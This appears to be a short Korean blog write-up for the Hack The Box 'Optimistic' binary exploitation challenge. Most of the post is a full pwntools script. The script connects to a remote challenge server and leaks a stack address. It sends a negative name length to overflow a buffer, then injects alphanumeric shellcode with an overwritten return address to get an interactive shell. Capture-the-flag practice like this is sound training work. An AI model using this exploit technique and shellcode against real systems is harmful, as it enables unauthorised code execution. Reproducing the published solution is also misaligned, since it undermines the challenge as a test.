호그와트

Hack the box Optimistic

영웅*^%&$ 2022. 12. 13. 14:12
728x90

 이건 보너스 사진 

오우야 disas main 하니까 살벌하네요 흠냐 

 기본적인 메커니즘은 매우 쉽게 구성되어 있었습니다 

제 친구인 인공지능에게 물어보니 아주 친절하게 설명해주는군요 

그래서 요로코롬 

     쨔란 이렇게 하시면 됩니다 어차피 0pts이니 공개합니당 

from pwn import *

target = './optimistic'
elf = context.binary = ELF(target, checksec=False)
context.log_level = 'debug'

p = remote("178.62.88.144", 30216)
#p = process('./optimistic')

p.sendlineafter(b":", "y")
p.recvuntil(b"Great! Here's a small welcome gift: ")
shellcode_addr = int(p.recvline(), 16)
shellcode_addr = shellcode_addr - 96
offset = 104

p.sendlineafter(b"Email:", b"sf")
p.sendlineafter(b"Age:", b"1234")

p.sendlineafter(b"Length of name:", b"-1")

shellcode = b""
shellcode += b"XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V"
shellcode += b"0"*(104-len(shellcode))
shellcode += p64(shellcode_addr)

p.sendlineafter("Name:", shellcode)

p.interactive()
728x90